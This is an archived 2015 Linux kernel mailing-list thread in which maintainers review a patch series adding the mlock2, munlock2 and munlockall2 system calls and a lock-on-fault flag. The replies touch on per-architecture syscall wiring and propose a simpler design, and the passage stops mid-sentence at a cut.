 include/linux/syscalls.h                    |   4 +
 include/uapi/asm-generic/mman.h             |   5 +
 include/uapi/asm-generic/unistd.h           |   8 +-
 kernel/events/core.c                        |   2 +
 kernel/events/uprobes.c                     |   2 +-
 kernel/fork.c                               |   2 +-
 kernel/sys_ni.c                             |   3 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    | 175 +++++++-
 mm/huge_memory.c                            |   3 +-
 mm/hugetlb.c                                |   4 +-
 mm/internal.h                               |   5 +-
 mm/ksm.c                                    |   2 +-
 mm/madvise.c                                |   4 +-
 mm/memory.c                                 |   5 +-
 mm/mlock.c                                  | 159 +++++--
 mm/mmap.c                                   |  32 +-
 mm/mremap.c                                 |   6 +-
 mm/msync.c                                  |   2 +-
 mm/rmap.c                                   |  12 +-
 mm/shmem.c                                  |   2 +-
 mm/swap.c                                   |   3 +-
 mm/vmscan.c                                 |   2 +-
 tools/testing/selftests/vm/Makefile         |   3 +
 tools/testing/selftests/vm/lock-on-fault.c  | 344 +++++++++++++++
 tools/testing/selftests/vm/mlock2-tests.c   | 621 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++
 tools/testing/selftests/vm/run_vmtests      |  33 ++
 81 files changed, 1604 insertions(+), 104 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and
 munlockall system calls
Date: Tue, 21 Jul 2015 13:44:41 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
	<1437508781-28655-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437511503 19158 80.91.229.3 (21 Jul 2015 20:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 20:45:03 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>, Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Jul 21 22:44:47 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZHeP8-00066n-KF
	for lnx-linux-alpha@plane.gmane.org; Tue, 21 Jul 2015 22:44:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932246AbbGUUoo (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 21 Jul 2015 16:44:44 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:40842 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932206AbbGUUon (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Tue, 21 Jul 2015 16:44:43 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 284B740F;
	Tue, 21 Jul 2015 20:44:42 +0000 (UTC)
In-Reply-To: <1437508781-28655-3-git-send-email-emunson@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3216 gmane.linux.kernel:2001585 gmane.linux.ports.arm.kernel:428034 gmane.linux.ports.ia64:25605 gmane.linux.ports.m68k:7369 gmane.linux.ports.mips.general:49522 gmane.linux.ports.parisc:25852 gmane.linux.ports.ppc64.devel:115645 gmane.linux.ports.sh.devel:47427 gmane.linux.ports.sparc:21257 gmane.linux.kernel.api:13009 gmane.linux.kernel.cross-arch:28544 gmane.linux.kernel.mm:136041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3216>

On Tue, 21 Jul 2015 15:59:37 -0400 Eric B Munson <emunson@akamai.com> wrote:

> With the refactored mlock code, introduce new system calls for mlock,
> munlock, and munlockall.  The new calls will allow the user to specify
> what lock states are being added or cleared.  mlock2 and munlock2 are
> trivial at the moment, but a follow on patch will add a new mlock state
> making them useful.
> 
> munlock2 addresses a limitation of the current implementation.  If a
> user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
> that MCL_FUTURE should be removed, they would have to call munlockall()
> followed by mlockall(MCL_CURRENT) which could potentially be very
> expensive.  The new munlockall2 system call allows a user to simply
> clear the MCL_FUTURE flag.

This is hard.  Maybe we shouldn't have wired up anything other than
x86.  That's what we usually do with new syscalls.

You appear to have missed
mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix.patch:

--- a/arch/arm64/include/asm/unistd.h~mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix
+++ a/arch/arm64/include/asm/unistd.h
@@ -44,7 +44,7 @@
 #define __ARM_NR_compat_cacheflush	(__ARM_NR_COMPAT_BASE+2)
 #define __ARM_NR_compat_set_tls		(__ARM_NR_COMPAT_BASE+5)
 
-#define __NR_compat_syscalls		388
+#define __NR_compat_syscalls		391
 #endif
 
 #define __ARCH_WANT_SYS_CLONE


And mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix-2.patch:


From: Heiko Carstens <heiko.carstens@de.ibm.com>
Subject: mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix-2

can we just remove the s390 bits which cause the breakage?
I will wire up the syscalls as soon as the patch set gets merged.

Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Eric B Munson <emunson@akamai.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/s390/kernel/syscalls.S |    3 ---
 1 file changed, 3 deletions(-)

diff -puN arch/s390/kernel/syscalls.S~mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix-2 arch/s390/kernel/syscalls.S
--- a/arch/s390/kernel/syscalls.S~mm-mlock-add-new-mlock-munlock-and-munlockall-system-calls-fix-2
+++ a/arch/s390/kernel/syscalls.S
@@ -363,6 +363,3 @@ SYSCALL(sys_bpf,compat_sys_bpf)
 SYSCALL(sys_s390_pci_mmio_write,compat_sys_s390_pci_mmio_write)
 SYSCALL(sys_s390_pci_mmio_read,compat_sys_s390_pci_mmio_read)
 SYSCALL(sys_execveat,compat_sys_execveat)
-SYSCALL(sys_mlock2,compat_sys_mlock2)			/* 355 */
-SYSCALL(sys_munlock2,compat_sys_munlock2)
-SYSCALL(sys_munlockall2,compat_sys_munlockall2)


--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and
 munlockall system calls
Date: Wed, 22 Jul 2015 11:25:16 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <1437528316.16792.7.camel@ellerman.id.au>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
	 <1437508781-28655-3-git-send-email-emunson@akamai.com>
	 <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437528328 12633 80.91.229.3 (22 Jul 2015 01:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 01:25:28 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>, linux-mips@linux-mips.org,
	linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Catalin Marinas <catalin.marinas@arm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Michal Hocko <mhocko@suse.cz>, linux-mm@kvack.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-am33-list@redhat.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-xtensa@linux-xtensa.org, linux-s390@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-parisc@vger.kernel.org, linux-api@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jul 22 03:25:25 2015
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1ZHimj-0007qe-2E
	for glps-linuxsh-dev@plane.gmane.org; Wed, 22 Jul 2015 03:25:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964939AbbGVBZW (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 21 Jul 2015 21:25:22 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:46747 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964792AbbGVBZT (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 21 Jul 2015 21:25:19 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id EE9AE140310;
	Wed, 22 Jul 2015 11:25:16 +1000 (AEST)
In-Reply-To: <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
X-Mailer: Evolution 3.12.10-0ubuntu1~14.10.1 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:47434 gmane.linux.ports.mips.general:49527 gmane.linux.ports.m68k:7370 gmane.linux.ports.ia64:25608 gmane.linux.kernel.mm:136070 gmane.linux.ports.sparc:21259 gmane.linux.kernel.cross-arch:28547 gmane.linux.ports.arm.kernel:428075 gmane.linux.ports.parisc:25853 gmane.linux.kernel.api:13021 gmane.linux.kernel:2001741 gmane.linux.ports.alpha:3217 gmane.linux.ports.ppc64.devel:115657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/47434>

On Tue, 2015-07-21 at 13:44 -0700, Andrew Morton wrote:
> On Tue, 21 Jul 2015 15:59:37 -0400 Eric B Munson <emunson@akamai.com> wrote:
> 
> > With the refactored mlock code, introduce new system calls for mlock,
> > munlock, and munlockall.  The new calls will allow the user to specify
> > what lock states are being added or cleared.  mlock2 and munlock2 are
> > trivial at the moment, but a follow on patch will add a new mlock state
> > making them useful.
> > 
> > munlock2 addresses a limitation of the current implementation.  If a
> > user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
> > that MCL_FUTURE should be removed, they would have to call munlockall()
> > followed by mlockall(MCL_CURRENT) which could potentially be very
> > expensive.  The new munlockall2 system call allows a user to simply
> > clear the MCL_FUTURE flag.
> 
> This is hard.  Maybe we shouldn't have wired up anything other than
> x86.  That's what we usually do with new syscalls.

Yeah I think so.

You haven't wired it up properly on powerpc, but I haven't mentioned it because
I'd rather we did it.

cheers


--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 22 Jul 2015 11:16:10 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <55AF5F5A.3000707@suse.cz>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com> <1437508781-28655-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437556594 1785 80.91.229.3 (22 Jul 2015 09:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 09:16:34 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jul 22 11:16:22 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZHq8S-00022T-Vc
	for glpm-linux-m68k@plane.gmane.org; Wed, 22 Jul 2015 11:16:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932574AbbGVJQU (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 22 Jul 2015 05:16:20 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:58850 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932424AbbGVJQT (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 22 Jul 2015 05:16:19 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 4DD09AAD6;
	Wed, 22 Jul 2015 09:16:15 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <1437508781-28655-3-git-send-email-emunson@akamai.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7373 gmane.linux.ports.alpha:3218 gmane.linux.kernel:2001952 gmane.linux.ports.arm.kernel:428164 gmane.linux.ports.ia64:25609 gmane.linux.ports.mips.general:49528 gmane.linux.ports.parisc:25854 gmane.linux.ports.ppc64.devel:115680 gmane.linux.ports.sh.devel:47441 gmane.linux.ports.sparc:21267 gmane.linux.kernel.api:13024 gmane.linux.kernel.cross-arch:28550 gmane.linux.kernel.mm:136071
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7373>

On 07/21/2015 09:59 PM, Eric B Munson wrote:
> With the refactored mlock code, introduce new system calls for mlock,
> munlock, and munlockall.  The new calls will allow the user to specify
> what lock states are being added or cleared.  mlock2 and munlock2 are
> trivial at the moment, but a follow on patch will add a new mlock state
> making them useful.
>
> munlock2 addresses a limitation of the current implementation.  If a

   ^ munlockall2?

> user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
> that MCL_FUTURE should be removed, they would have to call munlockall()
> followed by mlockall(MCL_CURRENT) which could potentially be very
> expensive.  The new munlockall2 system call allows a user to simply
> clear the MCL_FUTURE flag.
>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V4 4/6] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Wed, 22 Jul 2015 12:03:31 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <55AF6A73.1080500@suse.cz>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com> <1437508781-28655-5-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437559431 15331 80.91.229.3 (22 Jul 2015 10:03:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 10:03:51 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>, Jonathan Corbet <corbet@lwn.net>, 
 linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org, 
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org, 
 linux-xtensa@linux-xtensa.org, dri-devel@lists.freedesktop.org, 
 linux-mm@kvack.org, linux-arch@vger.kernel.org, 
 linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>, 
 Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 22 12:03:39 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHqsE-0004AZ-Bp
	for glkm-linux-mm-2@m.gmane.org; Wed, 22 Jul 2015 12:03:38 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 03E719003C8; Wed, 22 Jul 2015 06:03:37 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F300A9003C7; Wed, 22 Jul 2015 06:03:36 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E46779003C8; Wed, 22 Jul 2015 06:03:36 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f169.google.com (mail-wi0-f169.google.com [209.85.212.169])
	by kanga.kvack.org (Postfix) with ESMTP id 8EB569003C7
	for <linux-mm@kvack.org>; Wed, 22 Jul 2015 06:03:36 -0400 (EDT)
Original-Received: by wibxm9 with SMTP id xm9so155765737wib.0
        for <linux-mm@kvack.org>; Wed, 22 Jul 2015 03:03:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:message-id
         :date:from:user-agent:mime-version:to:cc:subject:references
         :in-reply-to:content-type:content-transfer-encoding;
        bh=fw0wtu/wLasQ4vM3f4PchOwbLiD6aWvFYSnx3PJEm48=;
        b=dPYqFnwxeu4RWXr/EUP2qtKESfSplDKpAniG8H6++XMJIz+IoP/rFeX+Zc5Y4nqGCs
         BspV+29PZU+wMOGZAsNB2gM9mMhvas/TI3XwVEyrtvqmqAi8vrnwjR0ObVsxMrEA0+pa
         8WbhHdfOuirvpoVg37xnm3qFK4On0833qi54aMCgZZf4Z7feGRrZSeNQ48HUAW5BcroN
         LnfBaGFLn27oN5aiJJ055ak8Q0VdRNGXpYy8wgkr7mpeUMFtWHJcBMQ9uLNZpcs1kyJb
         1M1V3/+KQtOIsr0UWiB6c8DT+SvksqWGB6AcipZFMLsjB+s9m1G1qmBItvMYr+dM10TC
         PTfA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Gm-Message-State: ALoCoQm2iXZCSzNAXToPsHMOl/tZNSVCLUdMHa3BN6b8iCDAsBtE0eXLegIyUobWEFTqMTm2OQPLLCcrWr764x5vAU1fujQXKvGIAelWIJMB75x5+C+zIjzkqGg94zKXyJ3lFpJghsBKR7c5bUDiovindgkDVEH2XWCmIV17Nz1Ox5VSZaa24V2lYSsQKD+hhHr+6P5yTah7
X-Received: by 10.180.73.200 with SMTP id n8mr40545186wiv.94.1437559415848;
        Wed, 22 Jul 2015 03:03:35 -0700 (PDT)
X-Received: by 10.180.73.200 with SMTP id n8mr40545042wiv.94.1437559414924;
        Wed, 22 Jul 2015 03:03:34 -0700 (PDT)
Original-Received: from mx2.suse.de (cantor2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id ei6si23854372wib.96.2015.07.22.03.03.34
        for <linux-mm@kvack.org>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 22 Jul 2015 03:03:34 -0700 (PDT)
Received-SPF: pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 58F34AAC1;
	Wed, 22 Jul 2015 10:03:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <1437508781-28655-5-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136074 gmane.linux.ports.alpha:3219 gmane.linux.kernel:2001977 gmane.linux.ports.mips.general:49529 gmane.linux.ports.parisc:25855 gmane.linux.ports.ppc64.devel:115687 gmane.linux.ports.sparc:21268 gmane.comp.video.dri.devel:133257 gmane.linux.kernel.cross-arch:28551 gmane.linux.kernel.api:13027
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136074>

On 07/21/2015 09:59 PM, Eric B Munson wrote:
> The cost of faulting in all memory to be locked can be very high when
> working with large mappings.  If only portions of the mapping will be
> used this can incur a high penalty for locking.
>
> For the example of a large file, this is the usage pattern for a large
> statical language model (probably applies to other statical or graphical
> models as well).  For the security example, any application transacting
> in data that cannot be swapped out (credit card data, medical records,
> etc).
>
> This patch introduces the ability to request that pages are not
> pre-faulted, but are placed on the unevictable LRU when they are finally
> faulted in.  This can be done area at a time via the
> mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
> calls can be undone via munlock2(MLOCK_ONFAULT) or
> munlockall2(MCL_ONFAULT).
>
> Applying the VM_LOCKONFAULT flag to a mapping with pages that are
> already present required the addition of a function in gup.c to pin all
> pages which are present in an address range.  It borrows heavily from
> __mm_populate().
>
> To keep accounting checks out of the page fault path, users are billed
> for the entire mapping lock as if MLOCK_LOCKED was used.

Hi,

I think you should include a complete description of which transitions 
for vma states and mlock2/munlock2 flags applied on them are valid and 
what they do. It will also help with the manpages.
You explained some to Jon in the last thread, but I think there should 
be a canonical description in changelog (if not also Documentation, if 
mlock is covered there).

For example the scenario Jon asked, what happens after a 
mlock2(MLOCK_ONFAULT) followed by mlock2(MLOCK_LOCKED), and that the 
answer is "nothing". Your promised code comment for apply_vma_flags() 
doesn't suffice IMHO (and I'm not sure it's there, anyway?).

But the more I think about the scenario and your new VM_LOCKONFAULT vma 
flag, it seems awkward to me. Why should munlocking at all care if the 
vma was mlocked with MLOCK_LOCKED or MLOCK_ONFAULT? In either case the 
result is that all pages currently populated are munlocked. So the flags 
for munlock2 should be unnecessary.

I also think VM_LOCKONFAULT is unnecessary. VM_LOCKED should be enough - 
see how you had to handle the new flag in all places that had to handle 
the old flag? I think the information whether mlock was supposed to 
fault the whole vma is obsolete at the moment mlock returns. VM_LOCKED 
should be enough for both modes, and the flag to mlock2 could just 
control whether the pre-faulting is done.

So what should be IMHO enough:
- munlock can stay without flags
- mlock2 has only one new flag MLOCK_ONFAULT. If specified, pre-faulting 
is not done, just set VM_LOCKED and mlock pages already present.
- same with mmap(MAP_LOCKONFAULT) (need to define what happens when both 
MAP_LOCKED and MAP_LOCKONFAULT are specified).

Now mlockall(MCL_FUTURE) muddles the situation in that it stores the 
information for future VMA's in current->mm->def_flags, and this 
def_flags would need to distinguish VM_LOCKED with population and 
